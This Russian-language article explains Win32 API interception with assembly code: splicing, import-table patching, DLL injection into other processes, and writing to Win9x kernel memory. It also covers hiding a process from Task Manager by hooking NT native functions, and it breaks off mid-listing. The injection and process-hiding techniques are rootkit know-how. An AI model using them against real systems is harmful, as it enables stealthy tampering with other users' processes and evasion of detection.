Система перехвата функций API платформы Win32
1. Введение
Во времена MS DOS ни одна серьезная программа не обходилась без
перехватов прерываний - сервисов системы для установки на них своих
процедур-обработчиков. Это было совершенно необходимо, например, для
обеспечения "псевдо-многозадачности" (pop up), реакции на таймер в режиме
реального времени, получения расширенной информации об одновременно нажатых
пользователем клавиш и т.п. Установка своих обработчиков могла
осуществляться даже без ведома системы, - правда, тогда была вероятность
того, что DOS выделит память с находящимся в ней обработчиком для какой-
либо программы, что чревато крахом системы. Для мелких резидентов это было
не страшно, а большие "защищались" несколькими способами - например,
маркированием области как используемой DOS в системных целях (установка
маркера 80h). Резиденты могли привести систему в нестабильное состояние.
Чтобы этого не случилось, разработчики должны были учитывать очень большое
число тонкостей и "подводных камней" ОС и принимать соответствующие меры. К
тому же, обработчики прерываний писались чаще всего на ЯА в целях экономии
памяти и увеличении скорости работы. Отсюда следует, что качественные
резиденты - столь необходимую в программировании под DOS технику - писали
только программисты довольно высокой квалификации.
Системы Win32 претендуют на то, что ни один пользовательский процесс не
может нарушить либо повлиять на работу другого или вызвать крах системы.
Само понятие "резидент" в Win32 теряет свой смысл, так как каждый процесс
работает в своем контексте памяти. Поэтому разработчики этих ОС отказались
от подобного механизма, оставив только возможность обработки оконных
сообщений (возможно, даже чужого процесса). Обработка оконных сообщений -
это единственный метод получения информации о действиях пользователя для GUI
приложений.
Разработчики Win32, конечно, предоставили сервисы ОС для осуществления
того, что в DOS могло быть сделано только путем установки резидента. Часть
из них реализована через систему оконных сообщений, часть - через сервисы
3-го кольца (user mode), а остальные - в виде низкоуровневых сервисов,
которые могут использоваться только драйверами (kernel mode). То есть,
единый в прошлом механизм разделился на совершенно разные по сути подсистемы
ОС. Это накладывает большие ограничения на его использование.
К примеру, пользователь NT (Win2k) с привилегиями пользователя или гостя
хочет защититься от атак из сети на отказ, нежелательных соединений, либо
проверить, не передается ли от него какая-либо информация без его ведома.
Это может быть решено путем установки драйвера - сниффера (sniffer) его
сетевой карты, то есть персонального файрволла (firewall). Проблема
состоит в том, что он не может установить свой драйвер в систему, так как он
не имеет администраторских прав. Это ограничение действительно необходимо -
ведь в противном случае даже гость может сделать с системой все, что угодно,
так как код драйвера исполняется в нулевом кольце. Он, к примеру, может
получить администраторские права, покопавшись в коде процесса
Winlogon.exe.
Однако эта же задача может быть решена без использования драйверов с
практически той же эффективностью.
2. Перехват вызовов API в системах Windows NT и Windows 9X
2.1. Теория
Нельзя утверждать, что адреса функций даже в системных библиотеках
(например, Kernel32.dll) не изменяются в зависимости от версии ОС, ее сборки
либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая
база образа библиотеки (dll preferred imagebase) является константой,
которую можно изменять при компиляции. Более того, совсем не обязательно,
что dll будет загружена именно по предпочитаемому адресу, - этого может не
произойти в результате коллизии с другими модулями, динамически выделенной
памятью и т.п. Поэтому статический импорт функций происходит по имени модуля
и имени функции (либо ее номера - ординала), предоставляемой этим модулем.
Загрузчик PE файла анализирует его таблицу импорта и определяет адреса
функций, им импортируемых. В случае, если в таблице импорта указана
библиотека, не присутствующая в контексте, происходит ее отображение в
требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В
результате в требуемом месте определенной секции PE файла (имеющей атрибут
"readable") заполняется массив адресов импортируемых функций. В процессе
работы каждый модуль обращается к своему массиву для определения точки входа
в какую-либо функцию. Отсюда следует, что для перехвата функций в рамках
одного контекста с уже инициализированными модулями, работающими потоками
можно действовать двумя способами.
Первый состоит в следующем. Определяется адрес нашего обработчика
перехватываемой функции, расположенного, к примеру, в загруженной в контекст
данного процесса библиотеке. Определяется настоящий адрес функции и
производится замещение первых 5 байт ее кода на длинный прыжок к нашему
обработчику. Для вызова исходного кода функции обработчик должен
восстановить прежние байты кода, сделать вызов функции, и после возвращения
управления восстановить опкод JMP в начале функции, иначе наш обработчик
никогда не получит управление вновь. Этот метод называется "сплайсингом".
Рассмотрим его сильные и слабые стороны.
+ Так как исправляется только память модуля, в котором производится
перехват, то наш код будет вызываться как в результате вызовов функции как
старыми модулями, так и динамически подгружаемыми, так как адрес
перехватываемой функции не изменился - произведена лишь "врезка" нескольких
байтов. При вызове перехватываемой функции наш код обязательно вызовется.
+ Будут перехватываться вызовы даже внутри обработанного модуля, так как
неважно, каким образом точка входа перехватываемой функции получила
управление.
+ Становится элементарной деинсталляция нашего обработчика - достаточно
восстановить исходные байты.
- В системах Win95/98 некоторые системные библиотеки (kernel32, user32 и
др.) загружаются в адресное пространство "2Gb, которое проецируется на все
контексты, присутствующие в системе. Это усложняет процесс перехвата их
функций, так как содержимое памяти свыше 2Gb не может быть изменено
стандартными документированными API функциями. Установить разрешение на
запись в эту область памяти может функция _PageModifyPermissions,
вызывающаяся с помощью kernel32!VxDCall0 и имеющая номер 1000dh. После
установки атрибута "writable" на необходимый регион памяти и осуществления
записи в него изменения произойдут во всех присутствующих контекстах
одновременно. Значит, код нашего обработчика должен располагаться по
одинаковым адресам во всех контекстах. Это возможно только если код будет
находиться выше 2Gb - этого можно добиться несколькими способами. Вот самые
распространенные из них: непосредственное указание требуемого imagebase
линкеру динамически загружаемой библиотеки при компиляции ("2Gb);
расположение кода в межсекционном пространстве какого-либо модуля,
загруженного выше 2Gb; выделение памяти, проецируемой на все контексты
(например, из файла подкачки) и копирование туда своего кода. Таким образом,
наш обработчик будет получать управление в результате вызова перехватываемой
функции в любом контексте. Если же необходимо осуществить перехват функции
только в определенном контексте, обработчик должен вызывать
GetCurrentProcessId() для получения сведений о вызывателе. Если же перехват
сужается до определенного модуля, то кроме идентификации текущего процесса
необходим анализ стека для определения вызывающего модуля.
- Если наш обработчик получил управление, восстановил исходные байты и
занялся чем-то, то другой поток в этот момент может вызвать настоящую
функцию, то есть вызов перехвачен не будет - реентерабельность обработчиков
не гарантируется даже при правильной организации кода. Эта проблема в общем
случае не имеет решения.
Другой метод выглядит так. Определяется точка входа перехватываемой
функции. Составляется список модулей, в настоящий момент загруженных в
контекст требуемого процесса. Затем перебираются дескрипторы импорта этих
модулей в поиске адресов перехватываемой функции. В случае совпадения этот
адрес изменяется на адрес нашего обработчика.
+ Осуществляется реентерабельность нашего обработчика, так как код
перехватываемой функции не изменяется вообще.
+ Становится более гибким выбор модуля/процесса, в котором необходимо
осуществить перехват. Тело нашего обработчика может находиться по разным
адресам в разных контекстах.
- Уже инициализированные модули могут сохранить настоящий адрес функции
и впоследствии вызывать именно его, минуя наш обработчик.
- Необходимо каким-то образом распространять наши обработчики на
динамически загружаемые модули. Это в свою очередь можно осуществить
несколькими способами.
- В модуле, содержащем код перехватываемой функции, изменяется таблица
экспорта - точнее, относительный виртуальный адрес (RVA) перехватываемой
экспортируемой функции. Загрузчик PE будет указывать эти значения
(+imagebase) в таблицы импорта новых модулей. Также функция GetProcAddress
будет возвращать адреса наших обработчиков. Этот способ имеет существенный
недостаток. Рассмотрим пример: пусть мы перехватываем некоторую функцию из
kernel32. Процессом был вызван
GetProcAddress(kernel32_base,&kernel_function_name) для получения ее адреса.
Так как kernel32 загружен во всех контекстах по одному и тому же адресу, то
адрес, возвращенный GPA, можно использовать для вызова функции удаленным
кодом. Далее процесс выделяет память, к примеру, в контексте своего
дочернего процесса, и после этого копирует удаленный код в эту область
памяти. После этого он вызывает CreateRemoteThread для создания удаленного
потока. Но так как мы перехватили одну из вызываемых этим потоком функций,
то ее адрес больше не принадлежит региону kernel32. Даже если эта функция
перехвачена и в дочернем процессе, то нельзя гарантировать однозначность
адреса нашего обработчика в обоих контекстах. То есть очень вероятно, что
при исполнении удаленного потока возникнет ситуация передачи управления не
на наш обработчик - например, на неинициализированную страницу, страницу, не
имеющую атрибут "executable" или вообще в чужой код. Любой из этих случаев
приведет к GPF и процесс-мишень будет аварийно завершен.
- 2. Во избежание ситуации, описанной выше, нельзя перехватывать функции,
часто используемые как начальная точка удаленного потока - LoadLibraryA,
LoadLibraryW. Они являются всего лишь переходниками к более мощным функциям
- LoadLibraryExA, LoadLibraryExW. Но их перехват не решит проблему, так как
переход к ним в kernel32 делается коротким - по относительному смещению, не
используя таблицу импорта. Но при более детальном изучении этих функций
оказывается, что LoadLibraryExA сводится к LoadLibraryExW, а та, в свою
очередь, к недокументированной функции ntdll!LdrLoadDll. Ее перехват
необходим для решения двух задач: инсталляции перехвата функций на
динамически загружаемые библиотеки и возможности установки обработчиков в
цепочку.
2.2. Создание и исполнение удаленного кода
Удаленный код - код, исполняемый вне контекста, изначально его
содержащего. Чтение-запись процессом памяти другого осуществляется функциями
kernel32!ReadProcessMemory и, соответственно, kernel32!WriteProcessMemory.
Синтаксис вызова этих функций идентичен; одним из параметров является хэндл
процесса, над которым производится операция - процесс "открывается" для
каких-либо (определенных) действий. Производится это функцией
kernel32!OpenProcess.
В операционных системах, поддерживающих систему привилегий (NT/Win2k)
возможность успешного открытия процесса зависит от текущего уровня
привилегий процесса - исполнителя. В частности, функция OpenProcess по
отношению к процессу winlogon.exe выполнится только при включенной
привилегии SE_DEBUG_PRIVILEGE. Ей в большинстве случаев обладают только
администраторы, так как она позволяет манипулировать со всеми без исключения
процессами системы, что чревато крахом самой ОС либо ее системы
безопасности. Таким образом, возможность чтения-записи памяти чужого
процесса ограничена привилегиями пользователя. Так как чтение-запись памяти
- краеугольный камень всей идеологии перехватов API, то очевидно, что
существует класс задач, невыполнимых пользователем, не имеющим, к примеру,
администраторских прав. Однако такой пользователь может применить перехват
функций к любому процессу, запущенному (прямо либо косвенно) им самим
(CreateProcess и аналоги), что в большинстве случаев и требуется.
Рассмотрим варианты внедрения динамически загружаемой библиотеки в чужой
контекст. Как известно, после инициализации dll происходит исполнение ее
точки входа (как PE файла) с тремя параметрами. Именно в этой процедуре
будет находиться код, осуществляющий перехват функций.
- Использование стандартной функции SetWindowsHookEx. Эта функция
устанавливает хук на оконные сообщения. Она предназначена для отслеживания
сообщений окон как своего процесса, так и чужого. В этом случае код
обработчика должен находиться в dll. Реализация функции в общих чертах
такова:
- она проецирует библиотеку на все контексты, которые удовлетворяют
следующим условиям: их потоки имеют в текущий момент GUI - окно, принимающее
сообщения от пользователя, а их процессы могут быть успешно открыты
пользователем функцией OpenProcess с параметром PROCESS_ALL_ACCESS;
- для каждого из таких потоков встраивает требуемый обработчик в цепочку
существующих. Наиболее интересным моментом является то, что функция
автоматически проецирует библиотеку и на новые GUI процессы - процессы,
которых не было в момент ее вызова.
Таким образом, в результате исполнения нижеследующего кода библиотека
myhookingdll будет спроецирована на все оговоренные контексты, и все ее
копии получат уведомление DLL_PROCESS_ATTACH.
call LoadLibraryA,offset myhookingdll,0
call GetProcAddress,eax,offset mydummyhook,eax
call SetWindowsHookExA,WH_CBT,eax
- Использование удаленных потоков. В WinNT и Win2k существуют функции
для создания удаленных потоков. Из них документирована одна -
kernel32!CreateRemoteThread. В качестве параметров к ней передаются хэндл
процесса, в котором будет создан поток, его стартовый адрес (в чужом
контексте), аргумент функции потока (ее прототип - DWORD WINAPI
ThreadFunc(PVOID pvParam)), начальный размер стэка и другие. Самый простой
способ загрузки библиотеки в чужой контекст с использованием
CreateRemoteThread - это указать стартовый адрес потока как адрес функции
LoadLibraryA (или W) и поместить в качестве параметра указатель на имя
библиотеки. Для этого нужно проделать следующие шаги:
- открыть чужой процесс функцией OpenProcess как минимум с флагами
PROCESS_CREATE_THREAD | PROCESS_VM_WRITE;
- выделить память в чужом контексте для размещения там имени библиотеки
с путем (функцией VirtualAllocEx);
- скопировать туда полное имя библиотеки (функцией WriteProcessMemory);
- узнать адрес функции LoadLibraryA (W);
- выполнить CreateRemoteThread с начальным EIP равным полученному адресу
LoadLibrary*;
- закрыть процесс и поток.
Все вышеописанные действия проводит следующий код:
call OpenProcess,PROCESS_ALL_ACCESS,1,PID
xchg eax,ebx
call VirtuallAllocEx,ebx,0,mydllnamesize,MEM_COMMIT,\
PAGE_READWRITE,ebx
call WriteProcessMemory,ebx,eax,\
offset mydll, mydllnamesize,0,eax,0,0
call GetModuleHandleA,offset kernel32
call GetProcAddress,eax,offset _LoadLibrary
call CreateRemoteThread,ebx,0,0,eax
call WaitForSingleObject,eax,INFINITE,eax
call CloseHandle
call CloseHandle
2.3. Изменение таблиц импорта
Когда компилятор встречает в исходном тексте вызов функции, которая
присутствует не в компилируемом исполняемом файле, а в некотором другом -
чаще всего, в dll, в простейшем случае он генерирует 'call' на этот символ.
Впоследствии линкер исправляет этот псевдовызов на вызов переходника
("stub"), используя библиотеку импорта, содержащую переходники для всех
экспортируемых символов в указанных библиотеках. Такие переходники состоят
из одной инструкции - 'jmp [x]', где x - адрес двойного слова в таблице
импорта PE файла. Эти адреса загрузчик PE файла заполняет корректными
значениями при инициализации модуля, опираясь на данные, указанные в таблице
импорта.
В более сложных случаях (при непосредственном указании импортируемой
функции) компилятор генерирует 'call [x]', минуя переходник. Таблица
(директория) импорта должна располагаться в секции, имеющей атрибуты
"инициализированные данные" и "читаемая" (IMAGE_SCN_CNT_INITIALIZED_DATA и
IMAGE_SCN_MEM_READ). Таблица импорта состоит из массива структур -
дескрипторов импорта (IMAGE_IMPORT_DESCRIPTOR), завершающим элементом
которого является нулевая структура. Дескриптор импорта выглядит следующим
образом:
IMAGE_IMPORT_BY_NAME STRUC
IBN_Hint DW ?
IBN_Name DB 1 DUP (?) ;длина не фиксирована
IMAGE_IMPORT_BY_NAME ENDS
IMAGE_THUNK_DATA STRUC
UNION
TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ?
TD_Ordinal DD ?
TD_Function DD BYTE PTR ?
TD_ForwarderString DD BYTE PTR ?
ENDS
IMAGE_THUNK_DATA ENDS
IMAGE_IMPORT_DESCRIPTOR STRUC
UNION
ID_Characteristics DD ?
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ?
ENDS
ID_TimeDateStamp DD ?
ID_ForwarderChain DD ?
ID_Name DD BYTE PTR ?
ID_FirstThunk DD IMAGE_THUNK_DATA PTR ?
IMAGE_IMPORT_DESCRIPTOR ENDS
ID_OriginalFirstThunk и ID_FirstThunk содержат относительные виртуальные
адреса (RVA) структур IMAGE_THUNK_DATA, описывающие импортируемые функции.
ID_TimeDateStamp содержит предполагаемый "штамп времени"
модуля-экспортера и используется при технике линковки "bound imports". Если
импорты не связаны, то значение этого поля =0.
ID_ForwarderChain содержит RVA первого форварда в списке импортируемых
функций. Если форварды отсутствуют, то значение этого поля =-1. ID_Name
содержит RVA имени импортируемого модуля.
Массивы ID_OriginalFirstThunk и ID_FirstThunk идут параллельно. Два
массива необходимо для сохранения информации о импортируемых функциях -
массив ID_OriginalFirstThunk загрузчиком изменен не будет, а массив
ID_FirstThunk будет заполнен адресами требуемых функций (RVA имен функций
уничтожатся).
Модуль может экспортировать функции, реализация которых в нем не
присутствует, а лишь импортируется из другого модуля. Этот прием называется
"форвардинг функций". Его можно проиллюстрировать на примере wsock32.dll.
Эта библиотека экспортирует множество функций, часть из которых есть
переходники к функциям ws2_32.dll, а часть просто отсутствует в модуле: при
импорте отсутствующей, но экпортируемой функции из wsock32, загрузчик,
анализируя форварды wsock32, обнаруживает, что он должен экспортировать эту
функцию из другого модуля - в частности, из ws2_32.dll.
Смысл перехвата функций методом исправления таблицы импорта состоит в
следующем:
- определяется адрес перехватываемой функции;
- исходя из данных PE заголовка модуля-жертвы вычисляется адрес его
таблицы импорта;
- среди дескрипторов импорта ищется тот, который описывает импорты из
модуля, содержащего реализацию перехватываемой функции;
- перебираются все структуры IMAGE_THUNK_DATA, начиная с
RVA=ID_FirstThunk найденного дескриптора в поисках полей TD_Function,
содержащих адрес перехватываемой функции;
- найденные адреса заменяются адресом обработчика перехваченной функции.
Код функции, осуществляющей вышеперечисленные шаги, может выглядеть так
(форвардинг функций не учитывается):
hook_api proc modbase:dword,modname:dword,\
procname:dword,hook_proc:dword
local oldproc:dword
local dummy:dword
pushad
@SEH_SetupFrame "jmp bad_exit"
call IsBadCodePtr,hook_proc ; проверка корректности
; вызова
test eax,eax
jnz bad_exit
push procname ; шаг 1 - узнаем
; адрес
call GetModuleHandleA,modname ; перехватываемой
; функции
call [realGetProcAddress],eax
test eax,eax
mov oldproc,eax
jz bad_exit
mov edi,modbase
call IsBadReadPtr,edi,40h
test eax,eax
jnz bad_exit
cmp word ptr [edi],'ZM'
jnz bad_exit
mov ebx,[edi.MZ_lfanew]
push 0F8h
add ebx,edi
call IsBadReadPtr,ebx
test eax,eax
jnz bad_exit
cmp dword ptr [ebx],'EP'
jnz bad_exit
mov esi,[ebx.NT_OptionalHeader\ ; шаг 2: получение
.OH_DirectoryEntries\; адреса
.DE_Import\ ; таблицы импорта
.DD_VirtualAddress]
or esi,esi
jz bad_exit
add esi,edi
cmp esi,ebx
jz bad_exit
stc
mov eax,[esi.ID_Name]
test eax,eax
jz no_imps
next_imp_desc: ; шаг ь4: перебираем
; дескрипторы импорта
push esi
push edi
nxtchar__: call patchthisidesk
pop edi
pop esi
mov eax,[(esi\
+IMAGE_SIZEOF_IMPORT_DESCRIPTOR).ID_Name]
add esi, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
test eax,eax
jnz next_imp_desc
no_imps: popad
xor eax,eax
jc simpleret
mov eax,oldproc
simpleret: @SEH_RemoveFrame
ret
bad_exit: @SEH_RemoveFrame
popad
xor eax,eax
stc
ret
bad_exit4proc:
pop eax
jmp mismatch
patchthisidesk: ; шаг ь3: ищем вход
add esi,0ch ; перехватываемой
call IsBadReadPtr,esi,8 ; функции в данном
; дескрипторе импорта
sub esi,0ch
test eax,eax
jnz bad_exit4proc
mov eax,[esi.ID_Name]
test eax,eax
jz bad_exit4proc
mov esi,[esi.ID_FirstThunk]
add esi,edi
call IsBadReadPtr,esi,4
test eax,eax
jnz bad_exit4proc
mov eax,[esi]
test eax,eax
jz bad_exit4proc
mov edi,oldproc
next_thunk:
cmp eax,edi
jnz next_thunk__
call VirtualProtect,esi,1000h,4,offset dummy,esi
pop esi
mov eax,hook_proc
mov [esi],eax ; шаг ь5: заменим адрес
; на свой
clc
next_thunk__:
mov eax,[esi+4] ; проверим TD_Function
; следующего блока на 0
add esi,4
test eax,eax
jnz next_thunk
db 0c3h;ret
hook_api endp
2.4. Сплайсинг функций ядра Windows 9X
В Win9x, в отличие от WinNT/Win2k, память, начиная с 2Gb, спроецирована
на все контексты, присутствующие в системе, то есть ее содержимое одинаково
для всех процессов. В этом регионе памяти находятся модули ядра, объекты
ядра и пользовательские объекты, доступные всем контекстам - проекции
файлов. Документированный Windows API не предоставляет средств для
внесения изменений в память "2Gb. VirtualProtect + WriteProcessMemory
завершается неудачно. Дж. Рихтер в своей книге "Programming Applications for
Microsoft Windows" так поясняет эту ситуацию: "On Windows 98, the main
Windows DLLs (Kernel32, AdvAPI32, User32, and GDI32) are protected in such a
way that an application cannot overwrite their code pages. You can get
around this by writing a virtual device driver (VxD)". Однако эту проблему
можно решить и без написания собственного VxD. Достаточно вызвать VxDCall0
_PageModifyPermissions. VxDCall0 - это всегда первая экспортируемая
Kernel32.dll функция. Нижеследующий код разрешит на чтение/запись первую
страницу kernel32 (идея впервые описана Vecna).
call GetModuleHandleA,offset kernel32
mov ebx,eax
mov eax,[ebx.MZ_lfanew]
lea edi,[eax.ebx]
mov esi,[edi.NT_OptionalHeader.\
OH_DirectoryEntries.DE_Export.\
DD_VirtualAddress]
mov esi,[esi.ebx.ED_AddressOfFunctions]
mov ecx,[esi.ebx]
add ecx,ebx ;ecx==VxDCall0
shr ebx,12
push 020060000h
push 00h
push 01h
push ebx
push 001000dh ;_PageModifyPermissions
call ecx
Надо учитывать спроецированность памяти "2Gb, ведь если некоторый регион
будет разрешен для записи, а потом его память будет изменена, то эти
изменения произойдут одновременно во всех контекстах. Таким образом, если
удастся изменить ядро для передачи управления некоторых функций другим
обработчикам, расположенным в памяти "2Gb (память пользовательского
процесса), то при вызове перехваченной функции процессом другого контекста
произойдет сбой - по указанному адресу не окажется соответствующего кода
обработчика. Следовательно, код глобальных обработчиков функций ядра
необходимо располагать также в памяти "2Gb. Код в памяти "2Gb можно
расположить несколькими способами. Если размер кода небольшой, то его можно
уместить в межсекционное пространство какого-либо модуля ядра (размер кода
не больше разницы между физической и виртуальной длиной секции PE модуля).
Следующий код пытается найти удовлетворяющее этому требованию место в
регионе, занятом kernel32 и, в случае успеха, копирует в найденное
пространство код обработчика.
call GetModuleHandle,offset kernel32
mov ebx,eax
mov eax,[ebx.MZ_lfanew]
movzx ecx,word ptr [eax.ebx.NT_FileHeader.\
FH_NumberOfSections]
lea esi,[eax.ebx+SIZE IMAGE_NT_HEADERS]
try_next_section:
mov eax,[esi.SH_Characteristics]
and eax,IMAGE_SCN_MEM_WRITE\
+IMAGE_SCN_MEM_READ\
+IMAGE_SCN_CNT_INITIALIZED_DATA
cmp eax,IMAGE_SCN_MEM_WRITE\
+IMAGE_SCN_MEM_READ\
+IMAGE_SCN_CNT_INITIALIZED_DATA
jne next_section
mov eax,[esi.SH_SizeOfRawData]
mov edi,[esi.SH_VirtualSize]
sub eax,edi
cmp eax,CODE_SIZE
jb next_section
add edi,[esi.SH_VirtualAddress]
add edi,ebx
jmp copy_code
next_section:
add esi,IMAGE_SIZEOF_SECTION_HEADER
loop try_next_section
jmp section_not_found
copy_code:
mov esi,offset IMPLANT_CODE
mov ecx,CODE_SIZE
cld
rep movsb ;скопировать код в найденное пр-во
Плюс этого метода в том, что процесс, осуществивший запись в
межсекционное пространство, никак не связан с этой памятью. Он может быть
закрыт, и память не будет освобождена.
Однако чаще всего свободной памяти, найденной таким путем, не хватает. В
таком случае можно "разбросать" части своего обработчика по всем
межсекционным пространствам модулей, загруженным выше 2Gb, а потом
"склеивать" части обработчика на лету. Этот метод используется, к примеру, в
вирусе Win9X.CIH (он распределяет свой код в межсекционном пространстве
зараженного модуля - при этом физический размер модуля на диске не
изменяется). Таким способом можно размещать обработчики размером не больше
10kb. Понятно, что любой серьезный проект будет превышать этот предел.
Существует более простой и надежный метод выделения памяти >2Gb. Можно
выделить память под объект - проекцию файла, например, из своп-файла.
Содержимое подобного объекта будет расположено системой >2Gb, все выделенные
страницы могут быть помечены атрибутом "исполняемые".
call CreateFileMappingA,0ffffffffh,NULL,\
PAGE_READWRITE,0,IMPLANT_SIZE,0
call MapViewOfFile,eax,FILE_MAP_WRITE+\
SECTION_MAP_EXECUTE,0,0,IMPLANT_SIZE
mov edi,eax
mov esi,offset IMPLANT
mov ecx,IMPLANT_SIZE
cld
rep movsb
С помощью этого метода можно выделить память сколь угодно большого
размера, но она будет иметь хозяина - процесс, ее выделивший. Поэтому если
процесс, установивший глобальный обработчик в память "2Gb завершится, то
память, им аллоцированная, освободится; любой вызов в ядре, приводящий к
передаче управления на эту память в лучшем случае приведет к аварийному
завершению процесса, чей поток совершил "незаконное" действие, а в худшем -
к краху системы. Следовательно, глобальный перехватчик функция ядра не
должен завершиться.
Общим недостатком этих методов является неопределенность базового адреса
копируемого кода. В любом случае, очевидно, что базовый адрес, указанный
линковщиком при компиляции модуля - перехватчика, не совпадет с его истинной
базой в памяти. Также возникает вопрос о вызовах API функций таким
обработчиком - таблица импорта отсутствует.
Самое простое решение первой проблемы состоит в применении техники
базонезависимого кода. Идея в том, что в самом коде хранятся лишь
относительные адреса данных. При инициализации кода он определяет свою базу
и, прибавляя ее к относительным адресам, вычисляет абсолютные адреса данных.
Код на ЯВУ не может быть базонезависимым в силу негибкости компиляторов
(уточнение: может, но только в случае неиспользования им глобальных меток)
Пример базонезависимого кода:
call delta
delta: pop ebp
sub ebp,offset delta-code_start
lea esi,[ebp+(offset _data-code_start)]
...
_data db 'Text',0
Рассмотрим решение второй проблемы применительно к функциям ядра. Так
как модули ядра присутствуют во всех контекстах по одному и тому же адресу,
то для вызовов их функций из обработчиков достаточно построить в них
переходники, а необходимые адреса функций в них будут записываться еще до
копирования кода обработчика в регион >2Gb. Типичный код переходника и кода,
его заполняющего, выглядит так:
; код в секции кода процесса-перехватчика
call GetModuleHandleA,offset user32
call GetProcAddress,eax,offset msgboxa
mov msgboxa_,eax
...
; код в секции данных процесса-перехватчика:
; он будет скопирован в память >2Gb
_MessageBoxA:mov eax,12345678h
org $-4
msgboxa_ dd 0
jmp eax
Используя вышеприведенную технику, вызов функций ядра становится
тривиальным.
mov eax,[ebp+(offset _uType-code_start)]
push eax
lea eax,[ebp+(offset _caption-code_start)]
push eax
lea eax,[ebp+(offset _text-code_start)]
push eax
mov eax,[ebp+(offset _hWnd-code_start)]
push eax
call _MessageBoxA
Но как быть в случае, когда необходимо вызвать функцию из библиотеки,
расположенной ниже 2Gb? В разных контекстах она может быть загружена (если
загружена) в результате коллизий по разным адресам - следовательно, ее адрес
нельзя заранее записать в переходник. В этом случае сначала нужно определить
адрес библиотеки в текущем контексте (если библиотека туда не загружена,
загрузить ее), а затем найти адрес требуемой функции.
Для надежности не следует сразу пользоваться функциями LoadLibrary*,
т.к. если библиотека уже находилась в контексте, то эта операция
инкрементирует ее счетчик использования. Если окажется так, что эта dll была
загружена в контекст единственный раз, то процесс-хозяин, выполнив
FreeLibrary, должен был бы выгрузить ее, но в результате непредусмотренного
вызова LoadLibrary* FreeLibrary лишь декрементирует ее счетчик, и может
нарушиться логика выполнения программы-хозяина. Таким образом, для более
"невидимого" вмешательства в чужой процесс необходимо сначала проверить
присутствие требуемого модуля функцией kernel32!GetModuleHandle, и только в
случае его отстутствия воспользоваться LoadLibrary* (после выполнения
функций dll следует выгрузить с помощью FreeLibrary по тем же причинам).
lea ebx,[ebp+(offset ws2_32-offset code_start)]
call _GetModuleHandleA,ebx
push ebp
xor ebp,ebp
or eax,eax
jnz dllloaded
call _LoadLibrary,ebx
mov ebp,eax
dllloaded: lea ecx,[ebp+(offset clsock-offset code_start)]
call _GetProcAddress,ebx,ecx
mov ecx,[ebp+(offset hSocket-offset code_start)]
call eax,ecx
call _FreeLibrary,ebp ; пройдет успешно, если
pop ebp ; dll загрузили мы
Итак, любая память доступна нам для чтения/записи, наш код может
выполняться корректно вне зависимости от его базы и вызывать любые API
функции. Теперь можно приступить к исправлению кода функций ядра для
передачи управления нашему обработчику.
Ebp указывает на начало найденной памяти. Для начала сохраним первые 5
байт перехватываемой функции.
call GetProcAddress,ebx,offset lla
mov edi,eax
lea esi,[ebp+(offset lla_code-offset code_start)]
push edi
xchg esi,edi
movsb
movsd
Затем изменим флаг разрешения записи атрибута страницы, содержащей
начало перехватываемой функции, на истину.
mov eax,[esp]
pushad
shr eax,12
push 020060000h
push 00h
push 01h
push eax
push 001000dh ;_PageModifyPermissions
mov eax,[vxdcall0]
call eax
popad
pop edi
Построим 5-байтовый JMP в начале функции.
mov al,0e9h
stosb
stosd ;прибавим 4 к edi
lea eax,[ebp+(offset lla_entry-offset code_start)]
sub eax,edi
mov [edi-4],eax
При таком методе организации сплайсинга обработчик перехваченной функции
может выгдядеть так (синтаксис функции - 1 двойное слово):
lla_entry: call swap_lla
push dword ptr [esp+4]
call _lla ;вызов настоящей функции
call swap_lla
... ;какие-то действия
ret 4
_lla: mov eax,12345678h
org $-4
lla_ dd 0
jmp eax
swap_lla: push esi edi ebp
call delta
delta: pop ebp
sub ebp,offset delta-code_start
lea esi,[ebp+(offset lla_code-code_start)]
mov edi,[ebp+(offset lla_-code_start)]
push eax
mov eax,[edi]
xchg [esi],eax
mov [edi],eax
mov al,[edi+4]
xchg [esi+4],al
mov [edi+4],al
pop ebp edi esi
ret
2.5. Методы установки глобальных перехватчиков
Часто бывает необходимо перехватить какую-либо функцию глобально, т.е.
во всех текущих процессах сразу. К примеру, для достижения невидимости в
NT/w2k через функцию ntdll!NtQuerySystemInformation процесс-"призрак" должен
перебрать все остальные процессы и распространить свои обработчики на каждый
их них. Кроме этого, процесс должен позаботиться и о новых процессах - тех,
которые будут созданы после инсталляции его обработчика
NtQuerySystemInformation. Это непростая задача, так как процесс может быть
запущен множеством способов: shell32!ShellExecute*, kernel32!CreateProcess*,
ntdll!NtCreateProcess и другими. Большинство из них сводится к
NtCreateProcess. Также возникает проблема - процесс с привилегиями гостя не
может изменить память контекста, работающего с привилегиями System или Local
Administrator - например, Winlogon.exe, а именно он запускает самый
популярный менеджер задач для NT/w2k/XP: taskmgr.exe (с помошью функции
msgina!WlxStartApplication). Таким образом, на Winlogon.exe обработчик
NtCreateProcess распространить не удастся, и при нажатии пользователем
ctrl-shift-esc запущенный taskmgr "увидит" спрятанный процесс.
Эта проблема кажется неразрешимой. Однако спасает положение от факт, что
taskmgr - GUI приложение, а, следовательно, установив глобальный хук
сообщений - к примеру, типа WH_CBT - наш модуль автоматически будет добавлен
к taskmgr.exe и проинициализирован с причиной DLL_PROCESS_ATTACH еще до
того, как главный модуль taskmgr получит управление.
Первая проблема может быть решена следующим образом. Перехватим
ntdll!NtCreateThread и ntdll!CsrClientCallServer. Процесс не имеет своего
идентификатора до создания первого потока, и если в обрабочике
NtCreateThread мы видим такую ситуацию:
- процесс-хозяин не имеет идентификатора;
- создающийся поток приостановлен;
- после создания потока процесс получает идентификатор,
то это есть создание нового процесса. В этом случае запоминаем его
идентификатор и ждем вызова CsrClientCallServer с командой 10000h -
инициализация процесса. Затем проверяем, был ли ранее запомнен
идентификатор. Если да, то после вызова настоящего CsrClientCallServer
процесс готов к применению к нему наших обработчиков.
Код обработчиков NtCreateThread и CsrClientCallServer может выглядеть
так:
myNtCreateThread proc lpThreadHandle,DesiredAccess,\
lpObjectAttributes,ProcessHandle,lpClientId,\
lpInitialContext,lpUserStackDescriptor,\
CreateSuspended
mov eax,pbi2
and [eax.UniqueProcessId],0
call NtQueryInformationProcess,ProcessHandle,\
ProcessBasicInformation,eax,pbisize,NULL
push eax
call [realNtCreateThread],lpThreadHandle,\
DesiredAccess,lpObjectAttributes,\
